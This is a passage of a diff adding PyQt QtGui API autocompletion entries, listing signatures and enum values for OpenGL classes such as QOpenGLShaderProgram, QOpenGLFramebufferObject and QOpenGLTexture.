+QtGui.QOpenGLDebugMessage.Severity?10 +QtGui.QOpenGLDebugMessage.Severity.InvalidSeverity?10 +QtGui.QOpenGLDebugMessage.Severity.HighSeverity?10 +QtGui.QOpenGLDebugMessage.Severity.MediumSeverity?10 +QtGui.QOpenGLDebugMessage.Severity.LowSeverity?10 +QtGui.QOpenGLDebugMessage.Severity.NotificationSeverity?10 +QtGui.QOpenGLDebugMessage.Severity.AnySeverity?10 +QtGui.QOpenGLDebugMessage.Type?10 +QtGui.QOpenGLDebugMessage.Type.InvalidType?10 +QtGui.QOpenGLDebugMessage.Type.ErrorType?10 +QtGui.QOpenGLDebugMessage.Type.DeprecatedBehaviorType?10 +QtGui.QOpenGLDebugMessage.Type.UndefinedBehaviorType?10 +QtGui.QOpenGLDebugMessage.Type.PortabilityType?10 +QtGui.QOpenGLDebugMessage.Type.PerformanceType?10 +QtGui.QOpenGLDebugMessage.Type.OtherType?10 +QtGui.QOpenGLDebugMessage.Type.MarkerType?10 +QtGui.QOpenGLDebugMessage.Type.GroupPushType?10 +QtGui.QOpenGLDebugMessage.Type.GroupPopType?10 +QtGui.QOpenGLDebugMessage.Type.AnyType?10 +QtGui.QOpenGLDebugMessage.Source?10 +QtGui.QOpenGLDebugMessage.Source.InvalidSource?10 +QtGui.QOpenGLDebugMessage.Source.APISource?10 +QtGui.QOpenGLDebugMessage.Source.WindowSystemSource?10 +QtGui.QOpenGLDebugMessage.Source.ShaderCompilerSource?10 +QtGui.QOpenGLDebugMessage.Source.ThirdPartySource?10 +QtGui.QOpenGLDebugMessage.Source.ApplicationSource?10 +QtGui.QOpenGLDebugMessage.Source.OtherSource?10 +QtGui.QOpenGLDebugMessage.Source.AnySource?10 +QtGui.QOpenGLDebugMessage?1() +QtGui.QOpenGLDebugMessage.__init__?1(self) +QtGui.QOpenGLDebugMessage?1(QOpenGLDebugMessage) +QtGui.QOpenGLDebugMessage.__init__?1(self, QOpenGLDebugMessage) +QtGui.QOpenGLDebugMessage.swap?4(QOpenGLDebugMessage) +QtGui.QOpenGLDebugMessage.source?4() -> QOpenGLDebugMessage.Source +QtGui.QOpenGLDebugMessage.type?4() -> QOpenGLDebugMessage.Type +QtGui.QOpenGLDebugMessage.severity?4() -> QOpenGLDebugMessage.Severity +QtGui.QOpenGLDebugMessage.id?4() -> int +QtGui.QOpenGLDebugMessage.message?4() -> QString +QtGui.QOpenGLDebugMessage.createApplicationMessage?4(QString, int id=0, QOpenGLDebugMessage.Severity severity=QOpenGLDebugMessage.NotificationSeverity, QOpenGLDebugMessage.Type type=QOpenGLDebugMessage.OtherType) -> QOpenGLDebugMessage +QtGui.QOpenGLDebugMessage.createThirdPartyMessage?4(QString, int id=0, QOpenGLDebugMessage.Severity severity=QOpenGLDebugMessage.NotificationSeverity, QOpenGLDebugMessage.Type type=QOpenGLDebugMessage.OtherType) -> QOpenGLDebugMessage +QtGui.QOpenGLDebugMessage.Sources?1() +QtGui.QOpenGLDebugMessage.Sources.__init__?1(self) +QtGui.QOpenGLDebugMessage.Sources?1(int) +QtGui.QOpenGLDebugMessage.Sources.__init__?1(self, int) +QtGui.QOpenGLDebugMessage.Sources?1(QOpenGLDebugMessage.Sources) +QtGui.QOpenGLDebugMessage.Sources.__init__?1(self, QOpenGLDebugMessage.Sources) +QtGui.QOpenGLDebugMessage.Types?1() +QtGui.QOpenGLDebugMessage.Types.__init__?1(self) +QtGui.QOpenGLDebugMessage.Types?1(int) +QtGui.QOpenGLDebugMessage.Types.__init__?1(self, int) +QtGui.QOpenGLDebugMessage.Types?1(QOpenGLDebugMessage.Types) +QtGui.QOpenGLDebugMessage.Types.__init__?1(self, QOpenGLDebugMessage.Types) +QtGui.QOpenGLDebugMessage.Severities?1() +QtGui.QOpenGLDebugMessage.Severities.__init__?1(self) +QtGui.QOpenGLDebugMessage.Severities?1(int) +QtGui.QOpenGLDebugMessage.Severities.__init__?1(self, int) +QtGui.QOpenGLDebugMessage.Severities?1(QOpenGLDebugMessage.Severities) +QtGui.QOpenGLDebugMessage.Severities.__init__?1(self, QOpenGLDebugMessage.Severities) +QtGui.QOpenGLDebugLogger.LoggingMode?10 +QtGui.QOpenGLDebugLogger.LoggingMode.AsynchronousLogging?10 +QtGui.QOpenGLDebugLogger.LoggingMode.SynchronousLogging?10 +QtGui.QOpenGLDebugLogger?1(QObject parent=None) +QtGui.QOpenGLDebugLogger.__init__?1(self, QObject parent=None) +QtGui.QOpenGLDebugLogger.initialize?4() -> bool +QtGui.QOpenGLDebugLogger.isLogging?4() -> bool +QtGui.QOpenGLDebugLogger.loggingMode?4() -> QOpenGLDebugLogger.LoggingMode +QtGui.QOpenGLDebugLogger.maximumMessageLength?4() -> int +QtGui.QOpenGLDebugLogger.pushGroup?4(QString, int id=0, QOpenGLDebugMessage.Source source=QOpenGLDebugMessage.ApplicationSource) +QtGui.QOpenGLDebugLogger.popGroup?4() +QtGui.QOpenGLDebugLogger.enableMessages?4(QOpenGLDebugMessage.Sources sources=QOpenGLDebugMessage.AnySource, QOpenGLDebugMessage.Types types=QOpenGLDebugMessage.AnyType, QOpenGLDebugMessage.Severities severities=QOpenGLDebugMessage.Severity.AnySeverity) +QtGui.QOpenGLDebugLogger.enableMessages?4(unknown-type, QOpenGLDebugMessage.Sources sources=QOpenGLDebugMessage.AnySource, QOpenGLDebugMessage.Types types=QOpenGLDebugMessage.AnyType) +QtGui.QOpenGLDebugLogger.disableMessages?4(QOpenGLDebugMessage.Sources sources=QOpenGLDebugMessage.AnySource, QOpenGLDebugMessage.Types types=QOpenGLDebugMessage.AnyType, QOpenGLDebugMessage.Severities severities=QOpenGLDebugMessage.Severity.AnySeverity) +QtGui.QOpenGLDebugLogger.disableMessages?4(unknown-type, QOpenGLDebugMessage.Sources sources=QOpenGLDebugMessage.AnySource, QOpenGLDebugMessage.Types types=QOpenGLDebugMessage.AnyType) +QtGui.QOpenGLDebugLogger.loggedMessages?4() -> unknown-type +QtGui.QOpenGLDebugLogger.logMessage?4(QOpenGLDebugMessage) +QtGui.QOpenGLDebugLogger.startLogging?4(QOpenGLDebugLogger.LoggingMode loggingMode=QOpenGLDebugLogger.AsynchronousLogging) +QtGui.QOpenGLDebugLogger.stopLogging?4() +QtGui.QOpenGLDebugLogger.messageLogged?4(QOpenGLDebugMessage) +QtGui.QOpenGLFramebufferObject.FramebufferRestorePolicy?10 +QtGui.QOpenGLFramebufferObject.FramebufferRestorePolicy.DontRestoreFramebufferBinding?10 +QtGui.QOpenGLFramebufferObject.FramebufferRestorePolicy.RestoreFramebufferBindingToDefault?10 +QtGui.QOpenGLFramebufferObject.FramebufferRestorePolicy.RestoreFrameBufferBinding?10 +QtGui.QOpenGLFramebufferObject.Attachment?10 +QtGui.QOpenGLFramebufferObject.Attachment.NoAttachment?10 +QtGui.QOpenGLFramebufferObject.Attachment.CombinedDepthStencil?10 +QtGui.QOpenGLFramebufferObject.Attachment.Depth?10 +QtGui.QOpenGLFramebufferObject?1(QSize, int target=GL_TEXTURE_2D) +QtGui.QOpenGLFramebufferObject.__init__?1(self, QSize, int target=GL_TEXTURE_2D) +QtGui.QOpenGLFramebufferObject?1(int, int, int target=GL_TEXTURE_2D) +QtGui.QOpenGLFramebufferObject.__init__?1(self, int, int, int target=GL_TEXTURE_2D) +QtGui.QOpenGLFramebufferObject?1(QSize, QOpenGLFramebufferObject.Attachment, int target=GL_TEXTURE_2D, int internal_format=GL_RGBA8) +QtGui.QOpenGLFramebufferObject.__init__?1(self, QSize, QOpenGLFramebufferObject.Attachment, int target=GL_TEXTURE_2D, int internal_format=GL_RGBA8) +QtGui.QOpenGLFramebufferObject?1(int, int, QOpenGLFramebufferObject.Attachment, int target=GL_TEXTURE_2D, int internal_format=GL_RGBA8) +QtGui.QOpenGLFramebufferObject.__init__?1(self, int, int, QOpenGLFramebufferObject.Attachment, int target=GL_TEXTURE_2D, int internal_format=GL_RGBA8) +QtGui.QOpenGLFramebufferObject?1(QSize, QOpenGLFramebufferObjectFormat) +QtGui.QOpenGLFramebufferObject.__init__?1(self, QSize, QOpenGLFramebufferObjectFormat) +QtGui.QOpenGLFramebufferObject?1(int, int, QOpenGLFramebufferObjectFormat) +QtGui.QOpenGLFramebufferObject.__init__?1(self, int, int, QOpenGLFramebufferObjectFormat) +QtGui.QOpenGLFramebufferObject.format?4() -> QOpenGLFramebufferObjectFormat +QtGui.QOpenGLFramebufferObject.isValid?4() -> bool +QtGui.QOpenGLFramebufferObject.isBound?4() -> bool +QtGui.QOpenGLFramebufferObject.bind?4() -> bool +QtGui.QOpenGLFramebufferObject.release?4() -> bool +QtGui.QOpenGLFramebufferObject.width?4() -> int +QtGui.QOpenGLFramebufferObject.height?4() -> int +QtGui.QOpenGLFramebufferObject.texture?4() -> int +QtGui.QOpenGLFramebufferObject.textures?4() -> unknown-type +QtGui.QOpenGLFramebufferObject.size?4() -> QSize +QtGui.QOpenGLFramebufferObject.toImage?4() -> QImage +QtGui.QOpenGLFramebufferObject.toImage?4(bool) -> QImage +QtGui.QOpenGLFramebufferObject.toImage?4(bool, int) -> QImage +QtGui.QOpenGLFramebufferObject.attachment?4() -> QOpenGLFramebufferObject.Attachment +QtGui.QOpenGLFramebufferObject.setAttachment?4(QOpenGLFramebufferObject.Attachment) +QtGui.QOpenGLFramebufferObject.handle?4() -> int +QtGui.QOpenGLFramebufferObject.bindDefault?4() -> bool +QtGui.QOpenGLFramebufferObject.hasOpenGLFramebufferObjects?4() -> bool +QtGui.QOpenGLFramebufferObject.hasOpenGLFramebufferBlit?4() -> bool +QtGui.QOpenGLFramebufferObject.blitFramebuffer?4(QOpenGLFramebufferObject, QRect, QOpenGLFramebufferObject, QRect, int buffers=GL_COLOR_BUFFER_BIT, int filter=GL_NEAREST) +QtGui.QOpenGLFramebufferObject.blitFramebuffer?4(QOpenGLFramebufferObject, QOpenGLFramebufferObject, int buffers=GL_COLOR_BUFFER_BIT, int filter=GL_NEAREST) +QtGui.QOpenGLFramebufferObject.blitFramebuffer?4(QOpenGLFramebufferObject, QRect, QOpenGLFramebufferObject, QRect, int, int, int, int) +QtGui.QOpenGLFramebufferObject.blitFramebuffer?4(QOpenGLFramebufferObject, QRect, QOpenGLFramebufferObject, QRect, int, int, int, int, QOpenGLFramebufferObject.FramebufferRestorePolicy) +QtGui.QOpenGLFramebufferObject.takeTexture?4() -> int +QtGui.QOpenGLFramebufferObject.takeTexture?4(int) -> int +QtGui.QOpenGLFramebufferObject.addColorAttachment?4(QSize, int internal_format=0) +QtGui.QOpenGLFramebufferObject.addColorAttachment?4(int, int, int internal_format=0) +QtGui.QOpenGLFramebufferObject.sizes?4() -> unknown-type +QtGui.QOpenGLFramebufferObjectFormat?1() +QtGui.QOpenGLFramebufferObjectFormat.__init__?1(self) +QtGui.QOpenGLFramebufferObjectFormat?1(QOpenGLFramebufferObjectFormat) +QtGui.QOpenGLFramebufferObjectFormat.__init__?1(self, QOpenGLFramebufferObjectFormat) +QtGui.QOpenGLFramebufferObjectFormat.setSamples?4(int) +QtGui.QOpenGLFramebufferObjectFormat.samples?4() -> int +QtGui.QOpenGLFramebufferObjectFormat.setMipmap?4(bool) +QtGui.QOpenGLFramebufferObjectFormat.mipmap?4() -> bool +QtGui.QOpenGLFramebufferObjectFormat.setAttachment?4(QOpenGLFramebufferObject.Attachment) +QtGui.QOpenGLFramebufferObjectFormat.attachment?4() -> QOpenGLFramebufferObject.Attachment +QtGui.QOpenGLFramebufferObjectFormat.setTextureTarget?4(int) +QtGui.QOpenGLFramebufferObjectFormat.textureTarget?4() -> int +QtGui.QOpenGLFramebufferObjectFormat.setInternalTextureFormat?4(int) +QtGui.QOpenGLFramebufferObjectFormat.internalTextureFormat?4() -> int +QtGui.QOpenGLPaintDevice?1() +QtGui.QOpenGLPaintDevice.__init__?1(self) +QtGui.QOpenGLPaintDevice?1(QSize) +QtGui.QOpenGLPaintDevice.__init__?1(self, QSize) +QtGui.QOpenGLPaintDevice?1(int, int) +QtGui.QOpenGLPaintDevice.__init__?1(self, int, int) +QtGui.QOpenGLPaintDevice.paintEngine?4() -> QPaintEngine +QtGui.QOpenGLPaintDevice.context?4() -> QOpenGLContext +QtGui.QOpenGLPaintDevice.size?4() -> QSize +QtGui.QOpenGLPaintDevice.setSize?4(QSize) +QtGui.QOpenGLPaintDevice.dotsPerMeterX?4() -> float +QtGui.QOpenGLPaintDevice.dotsPerMeterY?4() -> float +QtGui.QOpenGLPaintDevice.setDotsPerMeterX?4(float) +QtGui.QOpenGLPaintDevice.setDotsPerMeterY?4(float) +QtGui.QOpenGLPaintDevice.setPaintFlipped?4(bool) +QtGui.QOpenGLPaintDevice.paintFlipped?4() -> bool +QtGui.QOpenGLPaintDevice.ensureActiveTarget?4() +QtGui.QOpenGLPaintDevice.setDevicePixelRatio?4(float) +QtGui.QOpenGLPaintDevice.metric?4(QPaintDevice.PaintDeviceMetric) -> int +QtGui.QOpenGLPixelTransferOptions?1() +QtGui.QOpenGLPixelTransferOptions.__init__?1(self) +QtGui.QOpenGLPixelTransferOptions?1(QOpenGLPixelTransferOptions) +QtGui.QOpenGLPixelTransferOptions.__init__?1(self, QOpenGLPixelTransferOptions) +QtGui.QOpenGLPixelTransferOptions.swap?4(QOpenGLPixelTransferOptions) +QtGui.QOpenGLPixelTransferOptions.setAlignment?4(int) +QtGui.QOpenGLPixelTransferOptions.alignment?4() -> int +QtGui.QOpenGLPixelTransferOptions.setSkipImages?4(int) +QtGui.QOpenGLPixelTransferOptions.skipImages?4() -> int +QtGui.QOpenGLPixelTransferOptions.setSkipRows?4(int) +QtGui.QOpenGLPixelTransferOptions.skipRows?4() -> int +QtGui.QOpenGLPixelTransferOptions.setSkipPixels?4(int) +QtGui.QOpenGLPixelTransferOptions.skipPixels?4() -> int +QtGui.QOpenGLPixelTransferOptions.setImageHeight?4(int) +QtGui.QOpenGLPixelTransferOptions.imageHeight?4() -> int +QtGui.QOpenGLPixelTransferOptions.setRowLength?4(int) +QtGui.QOpenGLPixelTransferOptions.rowLength?4() -> int +QtGui.QOpenGLPixelTransferOptions.setLeastSignificantByteFirst?4(bool) +QtGui.QOpenGLPixelTransferOptions.isLeastSignificantBitFirst?4() -> bool +QtGui.QOpenGLPixelTransferOptions.setSwapBytesEnabled?4(bool) +QtGui.QOpenGLPixelTransferOptions.isSwapBytesEnabled?4() -> bool +QtGui.QOpenGLShader.ShaderTypeBit?10 +QtGui.QOpenGLShader.ShaderTypeBit.Vertex?10 +QtGui.QOpenGLShader.ShaderTypeBit.Fragment?10 +QtGui.QOpenGLShader.ShaderTypeBit.Geometry?10 +QtGui.QOpenGLShader.ShaderTypeBit.TessellationControl?10 +QtGui.QOpenGLShader.ShaderTypeBit.TessellationEvaluation?10 +QtGui.QOpenGLShader.ShaderTypeBit.Compute?10 +QtGui.QOpenGLShader?1(QOpenGLShader.ShaderType, QObject parent=None) +QtGui.QOpenGLShader.__init__?1(self, QOpenGLShader.ShaderType, QObject parent=None) +QtGui.QOpenGLShader.shaderType?4() -> QOpenGLShader.ShaderType +QtGui.QOpenGLShader.compileSourceCode?4(QByteArray) -> bool +QtGui.QOpenGLShader.compileSourceCode?4(QString) -> bool +QtGui.QOpenGLShader.compileSourceFile?4(QString) -> bool +QtGui.QOpenGLShader.sourceCode?4() -> QByteArray +QtGui.QOpenGLShader.isCompiled?4() -> bool +QtGui.QOpenGLShader.log?4() -> QString +QtGui.QOpenGLShader.shaderId?4() -> int +QtGui.QOpenGLShader.hasOpenGLShaders?4(QOpenGLShader.ShaderType, QOpenGLContext context=None) -> bool +QtGui.QOpenGLShader.ShaderType?1() +QtGui.QOpenGLShader.ShaderType.__init__?1(self) +QtGui.QOpenGLShader.ShaderType?1(int) +QtGui.QOpenGLShader.ShaderType.__init__?1(self, int) +QtGui.QOpenGLShader.ShaderType?1(QOpenGLShader.ShaderType) +QtGui.QOpenGLShader.ShaderType.__init__?1(self, QOpenGLShader.ShaderType) +QtGui.QOpenGLShaderProgram?1(QObject parent=None) +QtGui.QOpenGLShaderProgram.__init__?1(self, QObject parent=None) +QtGui.QOpenGLShaderProgram.addShader?4(QOpenGLShader) -> bool +QtGui.QOpenGLShaderProgram.removeShader?4(QOpenGLShader) +QtGui.QOpenGLShaderProgram.shaders?4() -> unknown-type +QtGui.QOpenGLShaderProgram.addShaderFromSourceCode?4(QOpenGLShader.ShaderType, QByteArray) -> bool +QtGui.QOpenGLShaderProgram.addShaderFromSourceCode?4(QOpenGLShader.ShaderType, QString) -> bool +QtGui.QOpenGLShaderProgram.addShaderFromSourceFile?4(QOpenGLShader.ShaderType, QString) -> bool +QtGui.QOpenGLShaderProgram.removeAllShaders?4() +QtGui.QOpenGLShaderProgram.link?4() -> bool +QtGui.QOpenGLShaderProgram.isLinked?4() -> bool +QtGui.QOpenGLShaderProgram.log?4() -> QString +QtGui.QOpenGLShaderProgram.bind?4() -> bool +QtGui.QOpenGLShaderProgram.release?4() +QtGui.QOpenGLShaderProgram.programId?4() -> int +QtGui.QOpenGLShaderProgram.bindAttributeLocation?4(QByteArray, int) +QtGui.QOpenGLShaderProgram.bindAttributeLocation?4(QString, int) +QtGui.QOpenGLShaderProgram.attributeLocation?4(QByteArray) -> int +QtGui.QOpenGLShaderProgram.attributeLocation?4(QString) -> int +QtGui.QOpenGLShaderProgram.setAttributeValue?4(int, float) +QtGui.QOpenGLShaderProgram.setAttributeValue?4(int, float, float) +QtGui.QOpenGLShaderProgram.setAttributeValue?4(int, float, float, float) +QtGui.QOpenGLShaderProgram.setAttributeValue?4(int, float, float, float, float) +QtGui.QOpenGLShaderProgram.setAttributeValue?4(int, QVector2D) +QtGui.QOpenGLShaderProgram.setAttributeValue?4(int, QVector3D) +QtGui.QOpenGLShaderProgram.setAttributeValue?4(int, QVector4D) +QtGui.QOpenGLShaderProgram.setAttributeValue?4(int, QColor) +QtGui.QOpenGLShaderProgram.setAttributeValue?4(str, float) +QtGui.QOpenGLShaderProgram.setAttributeValue?4(str, float, float) +QtGui.QOpenGLShaderProgram.setAttributeValue?4(str, float, float, float) +QtGui.QOpenGLShaderProgram.setAttributeValue?4(str, float, float, float, float) +QtGui.QOpenGLShaderProgram.setAttributeValue?4(str, QVector2D) +QtGui.QOpenGLShaderProgram.setAttributeValue?4(str, QVector3D) +QtGui.QOpenGLShaderProgram.setAttributeValue?4(str, QVector4D) +QtGui.QOpenGLShaderProgram.setAttributeValue?4(str, QColor) +QtGui.QOpenGLShaderProgram.setAttributeArray?4(int, object) +QtGui.QOpenGLShaderProgram.setAttributeArray?4(str, object) +QtGui.QOpenGLShaderProgram.setAttributeBuffer?4(int, int, int, int, int stride=0) +QtGui.QOpenGLShaderProgram.setAttributeBuffer?4(str, int, int, int, int stride=0) +QtGui.QOpenGLShaderProgram.enableAttributeArray?4(int) +QtGui.QOpenGLShaderProgram.enableAttributeArray?4(str) +QtGui.QOpenGLShaderProgram.disableAttributeArray?4(int) +QtGui.QOpenGLShaderProgram.disableAttributeArray?4(str) +QtGui.QOpenGLShaderProgram.uniformLocation?4(QByteArray) -> int +QtGui.QOpenGLShaderProgram.uniformLocation?4(QString) -> int +QtGui.QOpenGLShaderProgram.setUniformValue?4(int, int) +QtGui.QOpenGLShaderProgram.setUniformValue?4(int, float) +QtGui.QOpenGLShaderProgram.setUniformValue?4(int, float, float) +QtGui.QOpenGLShaderProgram.setUniformValue?4(int, float, float, float) +QtGui.QOpenGLShaderProgram.setUniformValue?4(int, float, float, float, float) +QtGui.QOpenGLShaderProgram.setUniformValue?4(int, QVector2D) +QtGui.QOpenGLShaderProgram.setUniformValue?4(int, QVector3D) +QtGui.QOpenGLShaderProgram.setUniformValue?4(int, QVector4D) +QtGui.QOpenGLShaderProgram.setUniformValue?4(int, QColor) +QtGui.QOpenGLShaderProgram.setUniformValue?4(int, QPoint) +QtGui.QOpenGLShaderProgram.setUniformValue?4(int, QPointF) +QtGui.QOpenGLShaderProgram.setUniformValue?4(int, QSize) +QtGui.QOpenGLShaderProgram.setUniformValue?4(int, QSizeF) +QtGui.QOpenGLShaderProgram.setUniformValue?4(int, QMatrix2x2) +QtGui.QOpenGLShaderProgram.setUniformValue?4(int, QMatrix2x3) +QtGui.QOpenGLShaderProgram.setUniformValue?4(int, QMatrix2x4) +QtGui.QOpenGLShaderProgram.setUniformValue?4(int, QMatrix3x2) +QtGui.QOpenGLShaderProgram.setUniformValue?4(int, QMatrix3x3) +QtGui.QOpenGLShaderProgram.setUniformValue?4(int, QMatrix3x4) +QtGui.QOpenGLShaderProgram.setUniformValue?4(int, QMatrix4x2) +QtGui.QOpenGLShaderProgram.setUniformValue?4(int, QMatrix4x3) +QtGui.QOpenGLShaderProgram.setUniformValue?4(int, QMatrix4x4) +QtGui.QOpenGLShaderProgram.setUniformValue?4(int, QTransform) +QtGui.QOpenGLShaderProgram.setUniformValue?4(str, int) +QtGui.QOpenGLShaderProgram.setUniformValue?4(str, float) +QtGui.QOpenGLShaderProgram.setUniformValue?4(str, float, float) +QtGui.QOpenGLShaderProgram.setUniformValue?4(str, float, float, float) +QtGui.QOpenGLShaderProgram.setUniformValue?4(str, float, float, float, float) +QtGui.QOpenGLShaderProgram.setUniformValue?4(str, QVector2D) +QtGui.QOpenGLShaderProgram.setUniformValue?4(str, QVector3D) +QtGui.QOpenGLShaderProgram.setUniformValue?4(str, QVector4D) +QtGui.QOpenGLShaderProgram.setUniformValue?4(str, QColor) +QtGui.QOpenGLShaderProgram.setUniformValue?4(str, QPoint) +QtGui.QOpenGLShaderProgram.setUniformValue?4(str, QPointF) +QtGui.QOpenGLShaderProgram.setUniformValue?4(str, QSize) +QtGui.QOpenGLShaderProgram.setUniformValue?4(str, QSizeF) +QtGui.QOpenGLShaderProgram.setUniformValue?4(str, QMatrix2x2) +QtGui.QOpenGLShaderProgram.setUniformValue?4(str, QMatrix2x3) +QtGui.QOpenGLShaderProgram.setUniformValue?4(str, QMatrix2x4) +QtGui.QOpenGLShaderProgram.setUniformValue?4(str, QMatrix3x2) +QtGui.QOpenGLShaderProgram.setUniformValue?4(str, QMatrix3x3) +QtGui.QOpenGLShaderProgram.setUniformValue?4(str, QMatrix3x4) +QtGui.QOpenGLShaderProgram.setUniformValue?4(str, QMatrix4x2) +QtGui.QOpenGLShaderProgram.setUniformValue?4(str, QMatrix4x3) +QtGui.QOpenGLShaderProgram.setUniformValue?4(str, QMatrix4x4) +QtGui.QOpenGLShaderProgram.setUniformValue?4(str, QTransform) +QtGui.QOpenGLShaderProgram.setUniformValueArray?4(int, object) +QtGui.QOpenGLShaderProgram.setUniformValueArray?4(str, object) +QtGui.QOpenGLShaderProgram.hasOpenGLShaderPrograms?4(QOpenGLContext context=None) -> bool +QtGui.QOpenGLShaderProgram.maxGeometryOutputVertices?4() -> int +QtGui.QOpenGLShaderProgram.setPatchVertexCount?4(int) +QtGui.QOpenGLShaderProgram.patchVertexCount?4() -> int +QtGui.QOpenGLShaderProgram.setDefaultOuterTessellationLevels?4(unknown-type) +QtGui.QOpenGLShaderProgram.defaultOuterTessellationLevels?4() -> unknown-type +QtGui.QOpenGLShaderProgram.setDefaultInnerTessellationLevels?4(unknown-type) +QtGui.QOpenGLShaderProgram.defaultInnerTessellationLevels?4() -> unknown-type +QtGui.QOpenGLShaderProgram.create?4() -> bool +QtGui.QOpenGLShaderProgram.addCacheableShaderFromSourceCode?4(QOpenGLShader.ShaderType, QByteArray) -> bool +QtGui.QOpenGLShaderProgram.addCacheableShaderFromSourceCode?4(QOpenGLShader.ShaderType, QString) -> bool +QtGui.QOpenGLShaderProgram.addCacheableShaderFromSourceFile?4(QOpenGLShader.ShaderType, QString) -> bool +QtGui.QOpenGLTexture.ComparisonMode?10 +QtGui.QOpenGLTexture.ComparisonMode.CompareRefToTexture?10 +QtGui.QOpenGLTexture.ComparisonMode.CompareNone?10 +QtGui.QOpenGLTexture.ComparisonFunction?10 +QtGui.QOpenGLTexture.ComparisonFunction.CompareLessEqual?10 +QtGui.QOpenGLTexture.ComparisonFunction.CompareGreaterEqual?10 +QtGui.QOpenGLTexture.ComparisonFunction.CompareLess?10 +QtGui.QOpenGLTexture.ComparisonFunction.CompareGreater?10 +QtGui.QOpenGLTexture.ComparisonFunction.CompareEqual?10 +QtGui.QOpenGLTexture.ComparisonFunction.CommpareNotEqual?10 +QtGui.QOpenGLTexture.ComparisonFunction.CompareAlways?10 +QtGui.QOpenGLTexture.ComparisonFunction.CompareNever?10 +QtGui.QOpenGLTexture.CoordinateDirection?10 +QtGui.QOpenGLTexture.CoordinateDirection.DirectionS?10 +QtGui.QOpenGLTexture.CoordinateDirection.DirectionT?10 +QtGui.QOpenGLTexture.CoordinateDirection.DirectionR?10 +QtGui.QOpenGLTexture.WrapMode?10 +QtGui.QOpenGLTexture.WrapMode.Repeat?10 +QtGui.QOpenGLTexture.WrapMode.MirroredRepeat?10 +QtGui.QOpenGLTexture.WrapMode.ClampToEdge?10 +QtGui.QOpenGLTexture.WrapMode.ClampToBorder?10 +QtGui.QOpenGLTexture.Filter?10 +QtGui.QOpenGLTexture.Filter.Nearest?10 +QtGui.QOpenGLTexture.Filter.Linear?10 +QtGui.QOpenGLTexture.Filter.NearestMipMapNearest?10 +QtGui.QOpenGLTexture.Filter.NearestMipMapLinear?10 +QtGui.QOpenGLTexture.Filter.LinearMipMapNearest?10 +QtGui.QOpenGLTexture.Filter.LinearMipMapLinear?10 +QtGui.QOpenGLTexture.DepthStencilMode?10 +QtGui.QOpenGLTexture.DepthStencilMode.DepthMode?10 +QtGui.QOpenGLTexture.DepthStencilMode.StencilMode?10 +QtGui.QOpenGLTexture.SwizzleValue?10 +QtGui.QOpenGLTexture.SwizzleValue.RedValue?10 +QtGui.QOpenGLTexture.SwizzleValue.GreenValue?10 +QtGui.QOpenGLTexture.SwizzleValue.BlueValue?10 +QtGui.QOpenGLTexture.SwizzleValue.AlphaValue?10 +QtGui.QOpenGLTexture.SwizzleValue.ZeroValue?10 +QtGui.QOpenGLTexture.SwizzleValue.OneValue?10 +QtGui.QOpenGLTexture.SwizzleComponent?10 +QtGui.QOpenGLTexture.SwizzleComponent.SwizzleRed?10 +QtGui.QOpenGLTexture.SwizzleComponent.SwizzleGreen?10 +QtGui.QOpenGLTexture.SwizzleComponent.SwizzleBlue?10 +QtGui.QOpenGLTexture.SwizzleComponent.SwizzleAlpha?10 +QtGui.QOpenGLTexture.Feature?10 +QtGui.QOpenGLTexture.Feature.ImmutableStorage?10 +QtGui.QOpenGLTexture.Feature.ImmutableMultisampleStorage?10 +QtGui.QOpenGLTexture.Feature.TextureRectangle?10 +QtGui.QOpenGLTexture.Feature.TextureArrays?10 +QtGui.QOpenGLTexture.Feature.Texture3D?10 +QtGui.QOpenGLTexture.Feature.TextureMultisample?10 +QtGui.QOpenGLTexture.Feature.TextureBuffer?10 +QtGui.QOpenGLTexture.Feature.TextureCubeMapArrays?10 +QtGui.QOpenGLTexture.Feature.Swizzle?10 +QtGui.QOpenGLTexture.Feature.StencilTexturing?10 +QtGui.QOpenGLTexture.Feature.AnisotropicFiltering?10 +QtGui.QOpenGLTexture.Feature.NPOTTextures?10 +QtGui.QOpenGLTexture.Feature.NPOTTextureRepeat?10 +QtGui.QOpenGLTexture.Feature.Texture1D?10 +QtGui.QOpenGLTexture.Feature.TextureComparisonOperators?10 +QtGui.QOpenGLTexture.Feature.TextureMipMapLevel?10 +QtGui.QOpenGLTexture.PixelType?10 +QtGui.QOpenGLTexture.PixelType.NoPixelType?10 +QtGui.QOpenGLTexture.PixelType.Int8?10 +QtGui.QOpenGLTexture.PixelType.UInt8?10 +QtGui.QOpenGLTexture.PixelType.Int16?10 +QtGui.QOpenGLTexture.PixelType.UInt16?10 +QtGui.QOpenGLTexture.PixelType.Int32?10 +QtGui.QOpenGLTexture.PixelType.UInt32?10 +QtGui.QOpenGLTexture.PixelType.Float16?10 +QtGui.QOpenGLTexture.PixelType.Float16OES?10 +QtGui.QOpenGLTexture.PixelType.Float32?10 +QtGui.QOpenGLTexture.PixelType.UInt32_RGB9_E5?10 +QtGui.QOpenGLTexture.PixelType.UInt32_RG11B10F?10 +QtGui.QOpenGLTexture.PixelType.UInt8_RG3B2?10 +QtGui.QOpenGLTexture.PixelType.UInt8_RG3B2_Rev?10 +QtGui.QOpenGLTexture.PixelType.UInt16_RGB5A1?10 +QtGui.QOpenGLTexture.PixelType.UInt16_RGB5A1_Rev?10 +QtGui.QOpenGLTexture.PixelType.UInt16_R5G6B5?10 +QtGui.QOpenGLTexture.PixelType.UInt16_R5G6B5_Rev?10 +QtGui.QOpenGLTexture.PixelType.UInt16_RGBA4?10 +QtGui.QOpenGLTexture.PixelType.UInt16_RGBA4_Rev?10 +QtGui.QOpenGLTexture.PixelType.UInt32_RGB10A2?10 +QtGui.QOpenGLTexture.PixelType.UInt32_RGB10A2_Rev?10 +QtGui.QOpenGLTexture.PixelType.UInt32_RGBA8?10 +QtGui.QOpenGLTexture.PixelType.UInt32_RGBA8_Rev?10 +QtGui.QOpenGLTexture.PixelType.UInt32_D24S8?10 +QtGui.QOpenGLTexture.PixelType.Float32_D32_UInt32_S8_X24?10 +QtGui.QOpenGLTexture.PixelFormat?10 +QtGui.QOpenGLTexture.PixelFormat.NoSourceFormat?10 +QtGui.QOpenGLTexture.PixelFormat.Red?10 +QtGui.QOpenGLTexture.PixelFormat.RG?10 +QtGui.QOpenGLTexture.PixelFormat.RGB?10 +QtGui.QOpenGLTexture.PixelFormat.BGR?10 +QtGui.QOpenGLTexture.PixelFormat.RGBA?10 +QtGui.QOpenGLTexture.PixelFormat.BGRA?10 +QtGui.QOpenGLTexture.PixelFormat.Red_Integer?10 